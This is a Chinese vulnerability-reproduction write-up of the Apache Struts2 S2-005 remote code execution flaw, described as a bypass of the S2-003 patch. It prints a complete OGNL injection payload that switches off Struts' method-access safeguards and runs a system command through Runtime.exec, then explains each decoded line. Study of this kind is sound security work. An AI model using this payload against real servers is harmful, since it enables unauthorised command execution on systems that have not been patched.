热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Struts2005Rce漏洞复现&分析

0x01漏洞背景漏洞名称:StrutsRemoteCodeExploit漏洞编号:Struts2-003漏洞类型:RemoteCodeExecution0x02漏洞复现payloa

0x01 漏洞背景



  • 漏洞名称:Struts Remote Code Exploit



  • 漏洞编号:Struts2-003



  • 漏洞类型:Remote Code Execution




0x02 漏洞复现

payload:

('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnewjava.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnewbyte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnewjava.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

image-20201106102249578


0x03 漏洞分析

005漏洞时针对003漏洞的补丁的绕过,除了绕过那部分,其他原理与003一致,这里不再做具体分析。

在开始前,补一张图(来源:https://blog.csdn.net/u011721501/article/details/41626959)

image-20201106103111845

首先来看看poc第一个参数(我做了一层解码)

('#_memberAccess[\'allowStaticMethodAccess\']')(meh)=true
('#context[\'xwork.MethodAccessor.denyMethodExecution\']=false')(bla)(bla)
('#_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)
('#mycmd=\'ipconfig\'')(bla)(bla)
('#myret=@java.lang.Runtime@getRuntime().exec(#mycmd)')(bla)(bla)
(A)(('#mydat=newjava.io.DataInputStream(#myret.getInputStream())')(bla))
(B)(('#myres=newbyte[51020]')(bla))
(C)(('#mydat.readFully(#myres)')(bla))
(D)(('#mystr=newjava.lang.String(#myres)')(bla))
('#myout=@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)
(E)(('#myout.getWriter().println(#mystr)')(bla))

第一行设置allowStaticMethodAccess为true是允许调用struts2的静态方法。003漏洞的补丁之后,官方增加了该方式进行防御。其默认值是false也就无法调用静态方法达成命令执行的目的

image-20201106104206733

第二行setDenyMethodExecution默认设置为true(禁止方法执行),需要关闭为false

image-20201106110217846

第三行通过对memberAccess.excludeProperties进行空赋值,完成绕过,但奇怪的是本人搭建的环境当中其实这个值并不需要设置可直接执行命令并回显。

image-20201106113606254

原poc中使用@符号进行静态方法或属性的调用。

#_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET

前面几个属性值进行调用后,为后面的执行命令提供调用静态方法的前提,后面的poc就是正常的命令执行

('#mycmd=\'ipconfig\'')(bla)(bla)
//命令字符串赋值
('#myret=@java.lang.Runtime@getRuntime().exec(#mycmd)')(bla)(bla)
//调用Runtime执行命令
(A)(('#mydat=newjava.io.DataInputStream(#myret.getInputStream())')(bla))
//将执行命令返回的结果流取出
(B)(('#myres=newbyte[51020]')(bla))
(C)(('#mydat.readFully(#myres)')(bla))
//读取结果流到字节数组中
(D)(('#mystr=newjava.lang.String(#myres)')(bla))
将字节数组内容转化为字符串
('#myout=@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)
通过org.apache.struts2.ServletActionContext的getResponse方法获取response对象
(E)(('#myout.getWriter().println(#mystr)')(bla))
对response的getWriter.println进行赋值,最后返回结果给client

org.apache.struts2.ServletActionContext.getResponse获取response对象,并将通过response对象将结果响应返回给请求者。


0x04 参考

https://blog.csdn.net/u011721501/article/details/41626959

https://xz.aliyun.com/t/2323



推荐阅读
  • 本文讨论了在openwrt-17.01版本中,mt7628设备上初始化启动时eth0的mac地址总是随机生成的问题。每次随机生成的eth0的mac地址都会写到/sys/class/net/eth0/address目录下,而openwrt-17.01原版的SDK会根据随机生成的eth0的mac地址再生成eth0.1、eth0.2等,生成后的mac地址会保存在/etc/config/network下。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 纠正网上的错误:自定义一个类叫java.lang.System/String的方法
    本文纠正了网上关于自定义一个类叫java.lang.System/String的错误答案,并详细解释了为什么这种方法是错误的。作者指出,虽然双亲委托机制确实可以阻止自定义的System类被加载,但通过自定义一个特殊的类加载器,可以绕过双亲委托机制,达到自定义System类的目的。作者呼吁读者对网上的内容持怀疑态度,并带着问题来阅读文章。 ... [详细]
  • 本文介绍了在Cpp中将字符串形式的数值转换为int或float等数值类型的方法,主要使用了strtol、strtod和strtoul函数。这些函数可以将以null结尾的字符串转换为long int、double或unsigned long类型的数值,且支持任意进制的字符串转换。相比之下,atoi函数只能转换十进制数值且没有错误返回。 ... [详细]
  • Java如何导入和导出Excel文件的方法和步骤详解
    本文详细介绍了在SpringBoot中使用Java导入和导出Excel文件的方法和步骤,包括添加操作Excel的依赖、自定义注解等。文章还提供了示例代码,并将代码上传至GitHub供访问。 ... [详细]
  • C# 7.0 新特性:基于Tuple的“多”返回值方法
    本文介绍了C# 7.0中基于Tuple的“多”返回值方法的使用。通过对C# 6.0及更早版本的做法进行回顾,提出了问题:如何使一个方法可返回多个返回值。然后详细介绍了C# 7.0中使用Tuple的写法,并给出了示例代码。最后,总结了该新特性的优点。 ... [详细]
  • 本文介绍了在Linux下安装Perl的步骤,并提供了一个简单的Perl程序示例。同时,还展示了运行该程序的结果。 ... [详细]
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • HDFS2.x新特性
    一、集群间数据拷贝scp实现两个远程主机之间的文件复制scp-rhello.txtroothadoop103:useratguiguhello.txt推pushscp-rr ... [详细]
  • 从零学Java(10)之方法详解,喷打野你真的没我6!
    本文介绍了从零学Java系列中的第10篇文章,详解了Java中的方法。同时讨论了打野过程中喷打野的影响,以及金色打野刀对经济的增加和线上队友经济的影响。指出喷打野会导致线上经济的消减和影响队伍的团结。 ... [详细]
  • Java学习笔记之面向对象编程(OOP)
    本文介绍了Java学习笔记中的面向对象编程(OOP)内容,包括OOP的三大特性(封装、继承、多态)和五大原则(单一职责原则、开放封闭原则、里式替换原则、依赖倒置原则)。通过学习OOP,可以提高代码复用性、拓展性和安全性。 ... [详细]
  • 开发笔记:Java是如何读取和写入浏览器Cookies的
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了Java是如何读取和写入浏览器Cookies的相关的知识,希望对你有一定的参考价值。首先我 ... [详细]
  • 本文介绍了Swing组件的用法,重点讲解了图标接口的定义和创建方法。图标接口用来将图标与各种组件相关联,可以是简单的绘画或使用磁盘上的GIF格式图像。文章详细介绍了图标接口的属性和绘制方法,并给出了一个菱形图标的实现示例。该示例可以配置图标的尺寸、颜色和填充状态。 ... [详细]
  • 基于Socket的多个客户端之间的聊天功能实现方法
    本文介绍了基于Socket的多个客户端之间实现聊天功能的方法,包括服务器端的实现和客户端的实现。服务器端通过每个用户的输出流向特定用户发送消息,而客户端通过输入流接收消息。同时,还介绍了相关的实体类和Socket的基本概念。 ... [详细]
  • ***byte(字节)根据长度转成kb(千字节)和mb(兆字节)**parambytes*return*publicstaticStringbytes2kb(longbytes){ ... [详细]
author-avatar
usx7054252
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有